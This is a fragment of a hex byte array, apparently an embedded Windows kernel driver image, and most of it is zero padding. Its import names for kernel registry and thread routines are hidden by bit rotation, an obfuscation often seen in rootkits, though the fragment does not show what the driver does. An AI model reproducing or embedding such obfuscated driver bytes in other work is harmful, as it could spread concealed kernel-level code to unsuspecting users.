    0x73, 0xA3, 0x12, 0x0B, 0x9B, 0x2B, 0x92, 0x2B, 0x33, 0x00, 0x00, 0x6A, 0x38, 0xD2, 0xBB, 0x1A,   
    0x63, 0x7B, 0x9B, 0x2B, 0x00, 0x1D, 0x20, 0x7A, 0x13, 0x92, 0x2B, 0x33, 0x2B, 0x93, 0x2B, 0x73,   
    0x1B, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0x12, 0xCB, 0x42, 0x0B, 0x73, 0x23, 0x63, 0x2B,   
    0x00, 0x58, 0x10, 0x4A, 0x7B, 0x32, 0x4B, 0x63, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0xA2,   
    0xCB, 0x83, 0x2B, 0x00, 0x00, 0xF9, 0x00, 0x22, 0x13, 0x3B, 0x82, 0x93, 0x4B, 0x73, 0xA3, 0x00,   
    0x00, 0xB2, 0x38, 0xD2, 0xBB, 0x1A, 0x93, 0x2B, 0x0B, 0xA3, 0x2B, 0x32, 0x4B, 0x63, 0x2B, 0x00,   
    0x00, 0x77, 0x28, 0x92, 0xA3, 0x63, 0x4A, 0x73, 0x4B, 0xA3, 0xAA, 0x73, 0x4B, 0x1B, 0x7B, 0x23,   
    0x2B, 0x9A, 0xA3, 0x93, 0x4B, 0x73, 0x3B, 0x00, 0x00, 0x2D, 0x18, 0x5A, 0x2B, 0xBA, 0x0B, 0x4B,   
    0xA3, 0x32, 0x7B, 0x93, 0x9A, 0x4B, 0x73, 0x3B, 0x63, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3,   
    0x00, 0xCD, 0x10, 0x4A, 0x7B, 0x33, 0x1A, 0x0B, 0x63, 0x63, 0x22, 0x93, 0x4B, 0xB3, 0x2B, 0x93,   
    0x00, 0xA6, 0x08, 0x4A, 0x7B, 0x12, 0xAB, 0x4B, 0x63, 0x23, 0x9A, 0xCB, 0x73, 0x1B, 0x43, 0x93,   
    0x7B, 0x73, 0x7B, 0xAB, 0x9B, 0x32, 0x9B, 0x23, 0x92, 0x2B, 0x8B, 0xAB, 0x2B, 0x9B, 0xA3, 0x00,   
    0x00, 0xB0, 0x18, 0x5A, 0x2B, 0x4A, 0x73, 0x4B, 0xA3, 0x4B, 0x0B, 0x63, 0x4B, 0xD3, 0x2B, 0x2A,   
    0xB3, 0x2B, 0x73, 0xA3, 0x00, 0xB7, 0x38, 0xD2, 0xBB, 0xBA, 0x93, 0x4B, 0xA3, 0x2B, 0x32, 0x4B,   
    0x63, 0x2B, 0x00, 0x83, 0x00, 0x2A, 0xC3, 0x0A, 0x63, 0x63, 0x7B, 0x1B, 0x0B, 0xA3, 0x2B, 0x82,   
    0x7B, 0x7B, 0x63, 0x00, 0x00, 0x2D, 0x20, 0x7A, 0x13, 0x92, 0x2B, 0x33, 0x2B, 0x93, 0x2B, 0x73,   
    0x1B, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0x12, 0xCB, 0x72, 0x0B, 0x6B, 0x2B, 0x00, 0x28,   
    0x10, 0x4A, 0x7B, 0x22, 0x93, 0x4B, 0xB3, 0x2B, 0x93, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0xA2,   
    0xCB, 0x83, 0x2B, 0x00, 0x00, 0x4F, 0x38, 0xD2, 0xBB, 0x9A, 0x2B, 0xA3, 0xB2, 0x0B, 0x63, 0xAB,   
    0x2B, 0x5A, 0x2B, 0xCB, 0x00, 0x4C, 0x38, 0xD2, 0xBB, 0x7A, 0x83, 0x2B, 0x73, 0x5A, 0x2B, 0xCB,   
    0x00, 0x1B, 0x38, 0xD2, 0xBB, 0x22, 0x2B, 0x63, 0x2B, 0xA3, 0x2B, 0x32, 0x4B, 0x63, 0x2B, 0x00,   
    0x00, 0x3F, 0x10, 0x5A, 0x2B, 0x22, 0x2B, 0x63, 0x0B, 0xCB, 0x2A, 0xC3, 0x2B, 0x1B, 0xAB, 0xA3,   
    0x4B, 0x7B, 0x73, 0xA2, 0x43, 0x93, 0x2B, 0x0B, 0x23, 0x00, 0x00, 0xF7, 0x38, 0xFA, 0x0B, 0x63,   
    0x63, 0x6B, 0xAB, 0x63, 0x00, 0x54, 0x18, 0x5A, 0x2B, 0x9A, 0x2B, 0xA3, 0x82, 0x93, 0x4B, 0x7B,   
    0x93, 0x4B, 0xA3, 0xCB, 0xA2, 0x43, 0x93, 0x2B, 0x0B, 0x23, 0x00, 0x21, 0x28, 0x82, 0x9B, 0x62,   
    0x7B, 0x7B, 0x5B, 0xAB, 0x83, 0xA2, 0x43, 0x93, 0x2B, 0x0B, 0x23, 0x12, 0xCB, 0xA2, 0x43, 0x93,   
    0x2B, 0x0B, 0x23, 0x4A, 0x23, 0x00, 0x00, 0x2F, 0x20, 0x82, 0x9B, 0x1A, 0x93, 0x2B, 0x0B, 0xA3,   
    0x2B, 0x9A, 0xCB, 0x9B, 0xA3, 0x2B, 0x6B, 0xA2, 0x43, 0x93, 0x2B, 0x0B, 0x23, 0x00, 0x00, 0xE4,   
    0x18, 0x5A, 0x2B, 0xA2, 0x4B, 0x1B, 0x5B, 0x1A, 0x7B, 0xAB, 0x73, 0xA3, 0x00, 0x73, 0xA3, 0x7B,   
    0x9B, 0x5B, 0x93, 0x73, 0x63, 0x71, 0x2B, 0xC3, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0xF6, 0x81, 0x5F,   
    0x81, 0x3B, 0x89, 0xA3, 0x89, 0x11, 0x91, 0x79, 0x91, 0x03, 0x91, 0x8B, 0x91, 0x1D, 0x91, 0x45,   
    0x91, 0x75, 0x91, 0x72, 0x99, 0xC2, 0x99, 0x35, 0x99, 0xED, 0x99, 0xE6, 0x99, 0x77, 0x99, 0xDF,   
    0x99, 0xC0, 0xA1, 0x21, 0xA1, 0x79, 0xA1, 0x74, 0xA1, 0x8D, 0xA1, 0x6E, 0xA1, 0x5F, 0xA1, 0x2D,   
    0xA9, 0x9E, 0xA9, 0xEE, 0xA9, 0x3F, 0xA9, 0x7F, 0xA9, 0xCF, 0xA9, 0x48, 0xB1, 0xB8, 0xB1, 0x09,   
    0xB1, 0x41, 0xB1, 0xD1, 0xB1, 0x22, 0xB1, 0x82, 0xB1, 0xD2, 0xB1, 0x14, 0xB1, 0xAC, 0xB1, 0xFC,   
    0xB1, 0x6D, 0xB1, 0x5E, 0xB1, 0x97, 0xB1, 0x18, 0xB9, 0xB8, 0xB9, 0x22, 0xB9, 0x35, 0xB9, 0x65,   
    0xB9, 0x95, 0xB9, 0xD5, 0xB9, 0x98, 0xC1, 0x6B, 0xC1, 0xA5, 0xC1, 0xCD, 0xC1, 0xF5, 0xC1, 0x28,   
    0xC9, 0xE0, 0xC9, 0x71, 0xC9, 0xD1, 0xC9, 0x1A, 0xC9, 0x6A, 0xC9, 0x03, 0xC9, 0x63, 0xC9, 0xC3,   
    0xC9, 0x24, 0xC9, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x30, 0x81, 0xC0,   
    0x81, 0xF8, 0x81, 0x21, 0x81, 0x69, 0x81, 0xA1, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
